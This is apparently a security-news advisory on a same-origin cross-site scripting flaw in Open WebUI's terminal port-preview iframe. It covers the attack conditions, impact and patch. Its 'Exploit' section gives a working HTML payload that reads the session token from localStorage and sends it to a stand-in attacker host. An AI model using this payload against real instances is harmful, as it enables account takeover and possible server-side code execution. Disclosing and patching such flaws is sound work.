Listen to this Post
CVE-2026-87995 is a same-origin cross-site scripting vulnerability in Open WebUI, an extensible self-hosted AI platform. The flaw resides in the terminal port-preview feature, specifically within the `PortPreview.svelte` component, which renders content from a previewed port inside an iframe. The sandbox attribute applied to this iframe statically included both `allow-scripts` and `allow-same-origin` directives. Because the terminal proxy serves the previewed content from a path on the application’s own origin, the `allow-same-origin` directive effectively dissolved any isolation the sandbox would otherwise provide. The embedded script therefore executes with the full privileges of the Open WebUI origin rather than being confined to an opaque origin.
Exploitation requires a specific but realistic set of conditions. At least one terminal server must be configured by an administrator via `TERMINAL_SERVER_CONNECTIONS` (empty by default) and reachable by both the attacker and the victim. The attacker needs a normal authenticated account with access to that shared terminal connection; no administrative rights are required. The attacker must also be able to start a process listening on a port on that terminal server. Personal terminals configured by users for themselves are not affected, because those carry an external URL that renders the preview cross-origin, allowing the sandbox to hold. The victim must open the file navigator, switch to the port list, and click the attacker’s port. The `TERMINAL_PROXY_HEADERS` must be unset and no `CONTENT_SECURITY_POLICY` must be configured, which are the default states. An operator who had already set a restrictive Content-Security-Policy through either mechanism would not be exposed, since those headers apply to the proxied response. The `iframeSandboxAllowSameOrigin` user setting is off by default, but the affected branch ignored it entirely, meaning the setting offered no protection.
Once the victim clicks the malicious port, the previewed page executes in the application origin. The script can reach the parent window, read the session token from localStorage, and exfiltrate it to an attacker-controlled host. This results in full account takeover of the victim. If the victim is an administrator or holds the `workspace.functions` permission, the takeover extends to server-side code execution through the Functions feature. The attack costs the attacker nothing beyond the terminal access they already legitimately hold, so the primary barrier is convincing the victim to open the port. Instances with no terminal server configured were never affected, and neither were personal terminals pointed at an external URL.
DailyCVE Form:
Platform: Open WebUI
Version: 0.8.11-0.11.0
Vulnerability: Port preview sandbox
Severity: High
date: 2026-09-10
Prediction: Already patched
What Undercode Say:
Check Open WebUI version.
`pip show open-webui | grep Version`
Inspect the vulnerable iframe sandbox attribute in the source.
`grep -n “sandbox” src/lib/components/chat/FileNav/PortPreview.svelte`
Serve a proof-of-concept HTML page on a terminal server port.
`python3 -m http.server 8888 –bind 0.0.0.0`
Exploit: (Educational Purposes!)
The following HTML page, when served on a port accessible via the terminal server and previewed by a victim, reads the session token from the parent window’s `localStorage` and sends it to an attacker-controlled endpoint.
<!DOCTYPE html>
<html>
<body>
<script>
var token = window.parent.localStorage.getItem("token");
if (token) {
fetch("https://attacker.example/collect", {
method: "POST",
mode: "no-cors",
body: token
});
}
</script>
</body>
</html>
Protection: from this CVE
Upgrade Open WebUI to version 0.11.1 or later. The fix, introduced by commit 54d7a2237, gates the `allow-same-origin` directive behind a `terminalPreviewAllowSameOrigin` user setting that is off by default. With the setting disabled, the preview loads at an opaque origin and cannot access the parent context. No configuration change is required beyond the upgrade.
If immediate upgrade is not possible, configure a restrictive `Content-Security-Policy` header through `TERMINAL_PROXY_HEADERS` or an equivalent global mechanism. A CSP that disallows inline script execution and restricts script sources to trusted origins will prevent the injected payload from running. Note that this workaround only applies if the operator proactively sets such a header; the default deployment remains vulnerable without the upgrade.
Impact:
Full account takeover of any authenticated user who previews an attacker-controlled port on a shared terminal server. If the victim holds administrative privileges or the `workspace.functions` permission, the attacker can escalate to server-side code execution within the Open WebUI instance.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
